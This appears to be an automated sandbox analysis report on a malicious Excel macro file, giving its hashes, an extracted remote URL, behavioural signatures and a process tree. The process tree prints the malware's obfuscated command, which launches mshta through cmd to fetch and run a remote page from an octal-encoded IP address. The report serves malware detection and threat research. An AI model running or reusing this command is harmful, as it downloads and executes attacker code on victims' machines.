Analysis
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max time kernel
134s -
max time network
136s -
platform
windows10_x64 -
resource
win10-20220310-en -
submitted
13-03-2022 12:52
Behavioral task
behavioral1
Sample
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
Resource
win10-20220310-en
Behavioral task
behavioral2
Sample
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
Resource
win10-20220223-en
General
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Target
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm
-
Size
110KB
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MD5
fdba23f96e2a3337048fbd1f116ac128
-
SHA1
b9599026ed63f455d2cda18ec8dff202170be381
-
SHA256
053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809
-
SHA512
82a691f0c5abaa2a9b56c800b9d405c155e6f5c6cfa80f1f39028ff8ce7e8239ee39cef06686b855c3173c8b4d034a55901280bfb0489e2bfdbebef153a89aa6
Malware Config
Extracted
http://46.105.81.76/c.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 8 2632 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
mshta.exeflow pid process 14 1020 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2632 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE 2632 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 2632 wrote to memory of 8 2632 EXCEL.EXE cmd.exe PID 2632 wrote to memory of 8 2632 EXCEL.EXE cmd.exe PID 8 wrote to memory of 1020 8 cmd.exe mshta.exe PID 8 wrote to memory of 1020 8 cmd.exe mshta.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\053bb9b9096198d542ba99d4aa0148e9af3797c17d2b874f406bf9d35749d809.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\system32\mshta.exemshta http://0056.0151.0121.0114/c.html3⤵
- Blocklisted process makes network request
PID:1020